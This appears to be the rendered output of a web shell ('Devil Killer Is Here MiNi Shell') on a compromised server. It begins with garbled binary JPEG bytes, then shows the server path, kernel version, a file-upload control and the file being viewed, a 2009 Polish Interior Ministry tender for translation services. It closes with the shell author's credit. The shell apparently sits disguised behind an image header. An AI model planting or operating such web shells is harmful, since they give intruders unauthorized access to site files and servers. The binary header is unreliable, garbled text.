JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090520/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090520/158860-N-2009.html

<p class="kh_header"><b>Warszawa: Zakup usług tłumaczeń pisemnych i ustnych na potrzeby komórek organizacyjnych Ministerstwa, wyspecyfikowanych w dwóch częściach zamówienia:
Część 1: Tłumaczenia  ustne i pisemne 
Część 2: Tłumaczenia ustne niejawne</b><br>
<b>Numer ogłoszenia: 158860 - 2009; data zamieszczenia: 20.05.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Ministerstwo Spraw Wewnętrznych i Administracji , ul. Stefana Batorego 5, 02-591 Warszawa, woj. mazowieckie, tel. 022 6015916, 6463708, faks 022 8456044,.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> zamowienia@mswia.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja rządowa centralna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Zakup usług tłumaczeń pisemnych i ustnych na potrzeby komórek organizacyjnych Ministerstwa, wyspecyfikowanych w dwóch częściach zamówienia:
Część 1: Tłumaczenia  ustne i pisemne 
Część 2: Tłumaczenia ustne niejawne.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Zakup usług tłumaczeń pisemnych i ustnych na potrzeby komórek organizacyjnych Ministerstwa, wyspecyfikowanych w dwóch częściach zamówienia:
Część 1: Tłumaczenia  ustne i pisemne:
Zakup usług tłumaczeń pisemnych i ustnych oraz weryfikacja tłumaczeń pisemnych, w tym:
1. Tłumaczenia specjalistyczne pisemne na język obcy w I i II grupie językowej w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
2. Tłumaczenia specjalistyczne pisemne z języków obcych w I i II grupie na język polski, w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
3. Tłumaczenia specjalistyczne pisemne wykonane prze tłumacza przysięgłego z języka obcego na język polski oraz z języka polskiego na język obcy w I i II grupie językowej w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
4. Tłumaczenia specjalistyczne ustne w I i II grupie językowej;
a)	Konsekutywne:
a1) do jednej godziny - 0,5 bloku 4-godzinnego
a2) blok 4-godzinny
a3) ponad 8 godzin pracy tłumacza (każda następna godzina)
b)	symultaniczne
b1) blok 4-godzinny
4.	Weryfikacja tłumaczeń pisemnych w trybie:
a)	Zwykłym,
b)	Ekspresowym,
c)	Super ekspresowym.
6. Wynajem kabin i sprzętu do tłumaczenia symultanicznego wraz ze sprzętem do nagłaśniania konferencji oraz nadzorem technicznym w trakcie konferencji.
7. Dokumenty przekazane do tłumaczenia w formie prezentacji Power Point rozliczane będą wg jednostki rozliczeniowej: 1 slajd, przy zachowaniu trybów tłumaczeniowych analogicznych, jak w przypadku rozliczenia za stronę.
B. Część druga:Tłumaczenia  ustne niejawne:
Zakup usług tłumaczeń ustnych niejawnych konsekutywnych, w tym:
1. Tłumaczenia specjalistyczne ustne w I i II grupie językowej;
a. Konsekutywne:
1) do jednej godziny - 0,5 bloku 4-godzinnego
2) blok 4-godzinny
3) ponad 8 godzin pracy tłumacza (każda następna godzina).</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1, 79.53.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1. W postępowaniu mogą wziąć udział Wykonawcy spełniający następujące warunki:
1)posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;
2)posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia;
3)znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia;
4)nie podlegają wykluczeniu z postępowania o udzielenie zamówienia.
W tym zakresie Wykonawca powinien spełniać następujące szczegółowe warunki:
Dla części 1:
1)wykaże się niezbędnym doświadczeniem, tj. należytym wykonaniem lub wykonywaniem w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2-ch usług odpowiadających swoim rodzajem usługom stanowiącym przedmiot zamówienia, przez które Zamawiający rozumie: tłumaczenia pisemne i ustne oraz weryfikację tłumaczeń pisemnych, o wartości każdej usługi nie mniejszej niż kwota 250 000 zł brutto;
2)posiadać dokument potwierdzający, że Wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności na kwotę co najmniej: 400.000,00 zł.
3)Wykaże się osobami, którymi dysponuje bądź będzie dysponował i które będą uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich doświadczenia niezbędnego do wykonania zamówienia, tj.: 
3.1.w odniesieniu do tłumaczeń: min. 3 - letnie doświadczenie w pracy dla centralnych instytucji administracji publicznej lub podmiotów zajmujących się współpracą z krajami Unii Europejskiej (np.: organizacje międzynarodowe), a także wykonali tłumaczenia o problematyce politycznej, ekonomicznej, parlamentarnej stosunków międzynarodowych, UE, w tym: 
3.1.1.do tłumaczeń pisemnych:
-w I grupie językowej: min. 6 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na język obcy - min. 2 tłumaczy z każdej kombinacji językowej 
-w II grupie językowej: min. 3 tłumaczy z każdego języka 
3.1.2.	do tłumaczeń ustnych:
-w I grupie językowej: min. 8 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na język obcy - min. 2 tłumaczy z każdej kombinacji językowej 
-w II grupie językowej: min. 3 tłumaczy z każdego języka 
3.2.w odniesieniu do weryfikacji tłumaczeń: min. 5-letnie doświadczenie w pracy tłumacza/weryfikatora, w tym min. 3-letnią współpracę z centralnymi instytucjami administracji publicznej lub organizacjami międzynarodowymi, w tym:
-w I grupie językowej - min. 3 weryfikatorów z każdego języka, a w przypadku tłumaczenia z języka obcego na obcy - min. 2 weryfikatorów w każdej kombinacji językowej,
-w II grupie językowej - min 1 osoba weryfikująca w każdym z języków.
Ocena spełniania powyższych warunków dokonana będzie w oparciu o oświadczenia i dokumenty, które ma dostarczyć Wykonawca wraz z ofertą.
Dla części 2:
1)wykaże się niezbędnym doświadczeniem, tj. należytym wykonaniem lub wykonywaniem w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2-ch usług odpowiadających swoim rodzajem usługom stanowiącym przedmiot zamówienia, przez które Zamawiający rozumie: tłumaczenia ustne związane z dostępem do informacji niejawnych o wartości każdej usługi nie mniejszej niż kwota 10 000 zł brutto;
2)posiadać dokument potwierdzający, że  Wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności na kwotę co najmniej: 100.000,00 zł
3)Wykaże się osobami, którymi dysponuje bądź będzie dysponował i które będą   uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich doświadczenia niezbędnego do wykonania zamówienia, posiadającymi aktualne właściwe poświadczenia bezpieczeństwa osobowego oraz zaświadczenia o przeszkoleniu w zakresie ochrony informacji niejawnych.  tj.: 
3.1w odniesieniu do tłumaczeń ustnych: min. 3 - letnie doświadczenie w pracy dla centralnych instytucji administracji publicznej lub podmiotów zajmujących się współpracą z krajami Unii Europejskiej (np.: organizacje międzynarodowe), a także wykonali tłumaczenia o problematyce politycznej, ekonomicznej, parlamentarnej stosunków międzynarodowych, UE, w tym: 
-w I grupie językowej: min. po 3 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na obcy - min. 1 tłumacza z każdej kombinacji językowej z aktualnymi poświadczeniami bezpieczeństwa wydanymi przez służby ochrony państwa lub organy upoważnione do prowadzenia samodzielnych postępowań sprawdzających, upoważniającymi do dostępu do informacji niejawnych oznaczonych klauzulą TAJNE i NATO SECRET i  EU SECRET oraz aktualnymi  zaświadczeniami o przeszkoleniu w zakresie ochrony informacji niejawnych
-w II grupie językowej: min. 1 tłumacza z każdego języka, z aktualnym poświadczeniem bezpieczeństwa wydanym przez służby ochrony państwa lub organy upoważnione do prowadzenia samodzielnych postępowań sprawdzających,, upoważniającym do dostępu do informacji niejawnych oznaczonych klauzulą TAJNE oraz  zaświadczeniem o przeszkoleniu w zakresie ochrony informacji niejawnych
Ocena spełniania powyższych warunków dokonana będzie w oparciu o oświadczenia i dokumenty, które ma dostarczyć Wykonawca wraz z ofertą..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> Wykonawca składa wraz z ofertą:
Dla części 1 i 2 zamówienia:
1.Oświadczenie o spełnianiu warunków, o których mowa w art. 22 i 24 ustawy P.z.p. 
(wzór oświadczenia stanowi zał. nr 3 do oferty).
2.Dokumenty potwierdzające spełnienie warunków uprawniających do udziału w postępowaniu
o zamówienie publiczne zgodnie z § 1 rozporządzenia Prezesa Rady Ministrów z dnia 19 maja 2006 roku w sprawie rodzajów dokumentów, jakich może żądać zamawiający od wykonawcy  oraz form, w jakich te dokumenty mogą być składane (Dz. U Nr 87, poz. 605 oraz rozporządzenia Prezesa Rady Ministrów z dnia 16 października 2008 roku zmieniającego w/w rozporządzenie - Dz. U Nr 188, poz. 1155) - w celu potwierdzenia, że Wykonawca posiada uprawnienie do wykonywania określonej działalności lub czynności oraz nie podlega wykluczeniu na podstawie art. 24 ustawy Pzp, a więc:
2.1aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert;
2.2dla części 2 zamówienia: świadectwo bezpieczeństwa przemysłowego co najmniej trzeciego stopnia, potwierdzające zdolność Wykonawcy do zapewnienia ochrony informacji niejawnych oznaczonych klauzulą TAJNE.
3.W celu potwierdzenia, że Wykonawca posiada niezbędną wiedzę i doświadczenie oraz potencjał techniczny, a także dysponuje osobami zdolnymi do wykonania zamówienia:
A. Dla części 1:
1)wykaz wykonanych lub wykonywanych, w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2-ch usług: tłumaczeń pisemnych i ustnych oraz weryfikacji tłumaczeń pisemnych, 
o wartości każdej usługi nie mniejszej niż kwota 250 000 zł brutto, wraz z dokumentami potwierdzającymi, że usługi te zostały wykonane bądź są wykonywane należycie (wzór wykazu stanowi załącznik nr 2 do oferty);
2)wykaz osób, którymi dysponuje lub będzie dysponował Wykonawca i które będą uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich doświadczenia niezbędnego do wykonania zamówienia (informacje te należy podać według załącznika do oferty Nr 4 - część 1), tj.:
2.1 w odniesieniu do tłumaczeń: min. 3 - letnie doświadczenie w pracy dla centralnych instytucji administracji publicznej lub podmiotów zajmujących się współpracą z krajami Unii Europejskiej (np.: organizacje międzynarodowe), a także wykonali tłumaczenia o problematyce politycznej, ekonomicznej, parlamentarnej stosunków międzynarodowych, UE, w tym: 
2.1.1 do tłumaczeń pisemnych:
-w I grupie językowej: min. 6 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na język obcy - min. 2 tłumaczy z każdej kombinacji językowej 
-w II grupie językowej: min. 3 tłumaczy z każdego języka
2.1.2 do tłumaczeń ustnych:
-w I grupie językowej: min. 8 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na język obcy - min. 2 tłumaczy z każdej kombinacji językowej 
-w II grupie językowej: min. 3 tłumaczy z każdego języka.
2.2 w odniesieniu do weryfikacji tłumaczeń: min. 5-letnie doświadczenie w pracy tłumacza/weryfikatora, w tym min. 3-letnią współpracę z centralnymi instytucjami administracji publicznej lub organizacjami międzynarodowymi, w tym:
-w I grupie językowej - min. 3 weryfikatorów z każdego języka, a w przypadku tłumaczenia z języka obcego na obcy - min. 2 weryfikatorów w każdej kombinacji językowej,
-w II grupie językowej - min 1 osoba weryfikująca w każdym z języków.
B. Dla części 2:
1)wykaz wykonanych lub wykonywanych, w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2-ch usług: tłumaczeń ustnych, o wartości każdej usługi nie mniejszej niż kwota 10 000 zł brutto, wraz z dokumentami potwierdzającymi, że usługi te zostały wykonane bądź są wykonywane należycie (wzór wykazu stanowi załącznik nr 2 do oferty);
2) wykaz osób, którymi dysponuje lub będzie dysponował Wykonawca i które będą uczestniczyć w wykonywaniu zamówienia, wraz z danymi w zakresie numeru poświadczenia bezpieczeństwa, datą ważności poświadczenia bezpieczeństwa, nazwą organu , który poświadczenie wydał, określeniem klauzuli, wraz z informacjami na temat ich doświadczenia niezbędnego do wykonania zamówienia (informacje te należy podać według załącznika do oferty Nr 4 - część 2),tj.: 
2.1.w odniesieniu do tłumaczeń ustnych: min. 3 - letnie doświadczenie w pracy dla centralnych instytucji administracji publicznej lub podmiotów zajmujących się współpracą z krajami Unii Europejskiej (np.: organizacje międzynarodowe), a także wykonali tłumaczenia o problematyce politycznej, ekonomicznej, parlamentarnej stosunków międzynarodowych, UE, w tym: 
-w I grupie językowej: min. po 3 tłumaczy z każdego języka, a w przypadku tłumaczenia z języka obcego na obcy - min. 1 tłumacza z każdej kombinacji językowej z aktualnymi poświadczeniami bezpieczeństwa wydanymi przez służby ochrony państwa lub organy upoważnione do prowadzenia samodzielnych postępowań sprawdzających, upoważniającymi do dostępu do informacji niejawnych oznaczonych klauzulą TAJNE i NATO SECRET i  EU SECRET oraz aktualnymi  zaświadczeniami o przeszkoleniu w zakresie ochrony informacji niejawnych
-w II grupie językowej: min. 1 tłumacza z każdego języka, z aktualnym poświadczeniem bezpieczeństwa wydanym przez służby ochrony państwa lub organy upoważnione do prowadzenia samodzielnych postępowań sprawdzających, upoważniającym do dostępu do informacji niejawnych oznaczonych klauzulą TAJNE oraz  zaświadczeniem o przeszkoleniu w zakresie ochrony informacji niejawnych
3)pisemne zobowiązanie innych podmiotów do udostępnienia osób zdolnych do wykonania zamówienia, jeżeli w wykazie, o którym mowa w pkt 2, Wykonawca wskazał osoby, którymi będzie dysponował.
4.W celu potwierdzenia, że Wykonawca znajduje się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia:
dokument potwierdzający, że Wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności na kwotę co najmniej:
a)dla części pierwszej - 400.000,00 zł
b)dla części drugiej - 100.000,00 zł
c)dla części pierwszej i drugiej - 500.000,00 zł.</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.mswia.gov.pl. (link: zamówienia publiczne).<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Ministerstwo Spraw Wewnętrznych i Administracji 
Biuro Administracyjno-Finansowe, Wydział do Spraw Zamówień Publicznych
ul. S. Batorego 5, 02-591 Warszawa, blok F, IV piętro, pok. nr 431..</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 28.05.2009 godzina 10:00, miejsce: MSWiA ul. S. Batorego 5 W-wa,blok F,IV piętro, pok. nr 431.Wejście przez biuro przepustek ul. Rakowiecka 2a..</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>
<p><b>IV.3.13) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Niniejsze zamówienie jest częściowo współfinansowane przez Unię Europejską ze środków Funduszu Granic Zewnętrznych Programu Ogólnego Solidarność i zarządzanie przepływami migracyjnymi.

Na podstawie art. 144 ust. 1 ustawy Prawo zamówień publicznych Zamawiający przewiduje możliwość dokonania następujących zmian niniejszej umowy:
1. Sposobu wykonania zamówienia 
2. Zmiany osób, które będą brały udział w wykonaniu zamówienia.
Powyższe zmiany umowy nie będą skutkować zmianą ceny umowy, ani naliczeniem kar umownych, bądź odsetek ustawowych za zwłokę dla którejkolwiek ze stron umowy..</p><p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Zakup usług tłumaczeń pisemnych i ustnych na potrzeby komórek organizacyjnych Ministerstwa, wyspecyfikowanych w dwóch częściach zamówienia:
Część 1: Tłumaczenia  ustne i pisemne.</p>
<ul class="kh_indent_1"><li><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Część pierwsza:
Zakup usług tłumaczeń pisemnych i ustnych oraz weryfikacja tłumaczeń pisemnych, w tym:
1. Tłumaczenia specjalistyczne pisemne na język obcy w I i II grupie językowej w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
2. Tłumaczenia specjalistyczne pisemne z języków obcych w I i II grupie na język polski, w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
3. Tłumaczenia specjalistyczne pisemne wykonane prze tłumacza przysięgłego z języka obcego na język polski oraz z języka polskiego na język obcy w I i II grupie językowej w trybie:
a)	Zwykłym
b)	Ekspresowym
c)	Super ekspresowym
4. Tłumaczenia specjalistyczne ustne w I i II grupie językowej;
a)	Konsekutywne:
a1) do jednej godziny - 0,5 bloku 4-godzinnego
a2) blok 4-godzinny
a3) ponad 8 godzin pracy tłumacza (każda następna godzina)
b)	symultaniczne
b1) blok 4-godzinny
4.	Weryfikacja tłumaczeń pisemnych w trybie:
a)	Zwykłym,
b)	Ekspresowym,
c)	Super ekspresowym.
5. Wynajem kabin i sprzętu do tłumaczenia symultanicznego wraz ze sprzętem do nagłaśniania konferencji oraz nadzorem technicznym w trakcie konferencji.
6. Dokumenty przekazane do tłumaczenia w formie prezentacji Power Point rozliczane będą wg jednostki rozliczeniowej: 1 slajd, przy zachowaniu trybów tłumaczeniowych analogicznych, jak w przypadku rozliczenia za stronę..</li>
<li><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li>
<li><b>4) Kryteria oceny ofert:</b>najniższa cena.</p></ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Zakup usług tłumaczeń pisemnych i ustnych na potrzeby komórek organizacyjnych Ministerstwa, wyspecyfikowanych w dwóch częściach zamówienia:
Część 2: Tłumaczenia ustne niejawne.</p>
<ul class="kh_indent_1"><li><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Część druga:
Zakup usług tłumaczeń ustnych niejawnych konsekutywnych, w tym:
1. Tłumaczenia specjalistyczne ustne w I i II grupie językowej;
a. Konsekutywne:
1) do jednej godziny - 0,5 bloku 4-godzinnego
2) blok 4-godzinny
3) ponad 8 godzin pracy tłumacza (każda następna godzina).</li>
<li><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li>
<li><b>4) Kryteria oceny ofert:</b>najniższa cena.</p></ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com